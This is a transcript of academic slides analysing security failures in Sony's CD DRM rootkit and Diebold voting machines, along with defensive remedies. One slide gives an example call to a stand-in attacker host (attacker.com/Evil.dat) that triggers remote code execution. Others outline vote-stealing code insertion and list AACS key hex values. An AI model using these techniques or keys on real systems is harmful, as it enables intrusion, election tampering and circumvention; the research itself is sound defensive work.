Lessons from Security Failures In Nontraditional Computing Environments
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Transcript of Lessons from Security Failures In Nontraditional Computing Environments
Lessons from Security Failures In Nontraditional Computing Environments
J. Alex Halderman
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CD DRM2003, 2005
SDMI2001
CSS1999
AACS2007
Diebold2003, 2006
What’s the common “thread”?
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Nontraditional Environments
ProblemPlatform Package
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Security IntuitionSecurity Intuition Breakdown
Underestimate SimilarityUnderestimate DifferenceUnderestimate Risk
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Spectacular Failures
CascadingIrreparableCollateral damage
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NontraditionalEnvironments
IntuitionBreakdowns
SpectacularFailures
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Disaster Investigation
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Questions What about these environments
makes failures especially severe? Are there patterns to the design and
implementation mistakes behind them?
Where are such failures likely to occur in the future?
What tools and techniques can we use to prevent them?
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Outline
1. A Model for Security Failures2. Failures in CD-DRM Systems3. Failures in E-Voting Systems4. Predicting Future Disasters5. Remedies and Defensive
Strategies
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CD DRM
2001 1st Generation: Passive protection
2003 2nd Generation: Active protection
2005 3rd Generation: Weak passive + Aggressive
active
[H02]
[H03]
[HF05]
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Nontraditional Problem
Restrict use(Untrusted device)
Compatibility(Legacy format)
All DRM: No known solution providestraditional security guarantees
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Nontraditional Package
Drivers
Ripper/copier Application
Protection driver
Normal CD
OSProtection driver
Autorun
#
CD Marked
“Protected”
Audio CDHybrid
CD
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A Spectacular Failure
Failure in depthInstaller → Patch → Uninstaller
Mass exposureMillions of computers vulnerable
Difficult repairsMost users unaware they’re at risk
High costsLawsuits, recalls, lost sales
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SunnComm
“Light years beyond encryption™”52 titles
4.7 million discs37 titles
20 million discs
First4Internet
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Rootkit
Magic prefix: $sys$
FilesProcessesRegistry keys
Hidden
DRM challenge: Users will remove protection driverVendor response: Install a rootkit to hide it
[HF06]
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Rootkit
Exploits in wild Backdoor.Ryknos.B
Trojan.Welomoch
DRM challenge: Users will remove protection driverVendor response: Install a rootkit to hide it
Attack: Privilege escalationMistake: Hides arbitrary objects
$sys$virus.exe
[HF06]
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InstallerDRM challenge: Users will decline to install softwareVendor response: Install regardless of consent
Attack: Privilege escalationMistake: Incorrect permissions
M
13+ MB installed before EULA screen
Everyone:Full Control
Runs with administrator privilegesnext time CD is inserted
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InstallerDRM challenge: Users will decline to install softwareVendor response: Install regardless of consent
Attack: Privilege escalationMistake: Incorrect permissions
MSony releases patch…but, patch calls potentially booby trapped code [HF06]
How do users know they need to patch? Vulnerable even if refused installation
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UninstallersDRM challenge: Angry customers demand removalVendor response: Offer uninstallers, but limit access
“HTTP GET /XCP.dat”
Web page calls ActiveX controlCodeSupport.Uninstall(“http://www.sony-bmg.com/XCP.dat”)
Serversony-bmg.comXCP.dat
ClientCodeSupport.ocx
Client extracts InstallLite.dll from XCP.dat, calls UnInstall_xcp()
2.
3.
4.
User obtains single-use code for uninstallation web page
1.
[HF06]
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Control accepts arbitrary URLRemote code not
authenticatedControl not removed after
use
UninstallersDRM challenge: Angry customers demand removalVendor response: Offer uninstallers, but limit access
Attack: Remote code executionMistakes:
“HTTP GET /XCP.dat”Server
sony-bmg.comXCP.dat
ClientCodeSupport.ocx
Rookie mistakes
Victim visits attacker’s web pageCodeSupport.Uninstall(“http://www.attacker.com/Evil.dat”)
1.
2.
Client executes code from Evil.dat with user’s privileges3.
“HTTP GET /Evil.dat”Server
attacker.comEvil.dat
[HF06]
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Environmental EffectsTechnology phase change
Risks appear unexpectedlyDRM problem → inherent conflict
Deliberately subvert control of PCLack of transparency
Problems more difficult to detectConflicting incentives
Choose risky DRM over user securityPolitics
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Intuition Breakdown
Nearly all parties underestimated security risks:
Vendors
Sony
Users
Experts
“Most people, I think, don't even know what a Rootkit is, so why should they care about it?”
— Thomas Hesse President, Sony BMG Global Digital
Business
Vendors
Sony
Users
Experts
Destroyed by rookie security mistakes
Didn’t know music CDs could hurt them
Didn’t discover rootkit for six months
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Outline
1. A Model for Security Failures2. Failures in CD-DRM Systems3. Failures in E-Voting Systems4. Predicting Future Disasters5. Remedies and Defensive
Strategies
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Diebold DREs
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Nontraditional Package
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Nontraditional Platform
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Nontraditional Problem
Paperless DREs: No known solutionprovides traditional security guarantees
Voting… Securely Secretly Accessibly Quickly Cheaply
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A Spectacular Failure
Failures in depthCode insertion routes, physical
securityMass exposure
Millions of votes at riskDifficult repairs
Some attacks not patchableHigh costs
Many states likely to replace machines
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Inserting Code
Bootloader
WinCE Kernel
BallotStation
FBOOT.N
B0
Bootloader
NK.BIN
WinCE Kernel
INSTAL
L.IN
S
BallotStation
(Internal Flash or EPROM)
(Internal Flash)
(Internal Flash)
[FHF07]
EXPL
ORER.G
LB
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Inserting Code
WinCE Kernel
BallotStation
Bootloader (Flash)
[FHF07]
Failure in Depth:Boot into ExplorerInsecure firmware
updaterROM replacement
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[FHF07]Stealing Votes
WinCE Kernel
BallotStation Stuffer
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[FHF07]Stealing Votes
Kernel
BallotStation
Primary Vote Record Backup Vote Record
Audit Log
Primary Vote Record Backup Vote Record
Audit Log
Stuffer
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Viral Propagation [FHF07]
Reboot
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[FHF07]
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Physical Security [FHF07]
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Physical SecurityFailure in Depth:
Same key used everywhere
Widely availableSecret disclosed
on web siteLock easy to pick
[FHF07]
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Environmental EffectsTechnology phase change
Risks appear unexpectedlyDifficulty of the problem
Confusing threat model, circular reasoning
Lack of transparencyBasic errors persist for yearsSecurity treated as a PR problem
Conflicting incentivesOfficials choose efficiency over security
Politics
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Intuition Breakdown
Nearly all parties underestimated security risks:
Vendor
Officials
Experts
Vendor
Officials
Experts
Planned security by obscurityVastly underinvested in security design
Many surprised by severity of problems
Underestimated similarity to PCsDidn’t understand threat model
CAsCAs Lacked institutional competence to see risks
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Outline
1. A Model for Security Failures2. Failures in CD-DRM Systems3. Failures in E-Voting Systems4. Predicting Future Disasters5. Remedies and Defensive
Strategies
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Learning from Failures
My Past WorkCD DRME-Voting
Related WorkPast Voting StudiesCSS, SDMI, HDCP, DTVWEP, GSM, RFID
Work in ProgressAACSOther voting systems
Future Work(Predicted failures)
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AACS [Work in progress]
Title Key
Volume Key
Processing Key
Device Key
February 11
February 24
January 13
January 12Title Key
Volume Key
Processing Key
Device Key
Potential disaster (analyze game theory)
Solid crypto, Rookie coding errors
Revokable Arms Race
Interesting lessons on incentives, politics, law
DRM as nontraditional security problem
09 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 bd09 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 be09 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 bf
?09 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 c109 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 c209 f9 11 02 9d 74 e3 5b d8 41 56 c5 63 56 88 c3
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Other Voting Systems [Work in progress]
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Predicting Failures
NontraditionalEnvironment
+Technology
Phase Change
+
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Future Failures?
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Future Failures?
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Future Failures?
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Future Failures?
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Outline
1. A Model for Security Failures2. Failures in CD-DRM Systems3. Failures in E-Voting Systems4. Predicting Future Disasters5. Remedies and Defensive
Strategies
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Defensive Approach
New Intuitions New Technologies New Policies
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General LessonsSecurity disasters occur where security research isn’t involved
New intuitions, partnerships, transparencyProblems that resist rigorous security analysis are prone to major failures
Research ways to transform problemsFailures have higher externalities where producer and user incentives misalign
Where appropriate, add liability
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Remedies: DRM
New intuition DRM as a risk to client security
New policiesMandatory transparency(DMCA reform, installation disclosure)Liability for aggressive, dangerous techniques (change maker incentives)
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Remedies: E-Voting
New intuitionsVoting machines and PCs share vulnerabilitiesNo software should be trusted to count votes
New policiesImproved transparency, certification processesLiability for insecurity: fix at vendor’s cost?(change maker incentives)Software independence
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New Technologies[CHF07]Machine-assisted auditing
1. Initial count(untrusted)
2. Recount machinecommits to each ballot
Ballot
3. Humans check sample by hand
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C := H(…)C := H(…)
New Technologies[HW07]Harvested verifiable challenges
1. Collect fresh data from varied sources
2. Hash data toform “challenge”
3. Anyone can verifychallenge was valid
?
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Contributions1. New model for security failures
Analysis of past failures from the literaturePredictions for future failuresPolicy implications
2. Analysis of failures in DRM systemsInherent limitations of CD copy protection[H03,H04] Client security failures from Sony CD DRM[HF06]Coming AACS arms race*
3. Analysis of failures in e-voting systemsDiebold AccuVote TS and TSx[FHF07]AVC Advantage*
4. Technological remediesMachine-assisted election auditing[CHF07]Harvesting verifiable challenges[HW07]Privacy management for mobile devices[HWF05]
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ReferencesH03 J. A. Halderman. “Evaluating New Copy-Prevention
Techniques for Audio CDs.” DRM 2002.H04 J. A. Halderman. “Analysis of the MediaMax CD3 Copy-
Prevention System.” 2003.HWF04 J. A. Halderman, B. Waters, and E. Felten. “Privacy
Management for Portable Recording Devices.” WPES 2004.HF06 J. A. Halderman and E. Felten. “Lessons from the Sony CD
DRM Episode.” USENIX Security 2006.FHF07 A. Feldman, J. A. Halderman, and E. Felten. “Security Analysis
of the Diebold AccuVote-TS Voting Machine.” In submission, 2007.
CHF07 J. Calandrino, J. A. Halderman, and E. Felten. “Machine-Assisted Election Auditing.” In submission, 2007.
HW07 J. A. Halderman and B. Waters. “Harvesting Verifiable Challenges from Oblivious Online Sources.” In submission, 2007.
Lessons from Security Failures In Nontraditional Computing Environments
J. Alex Halderman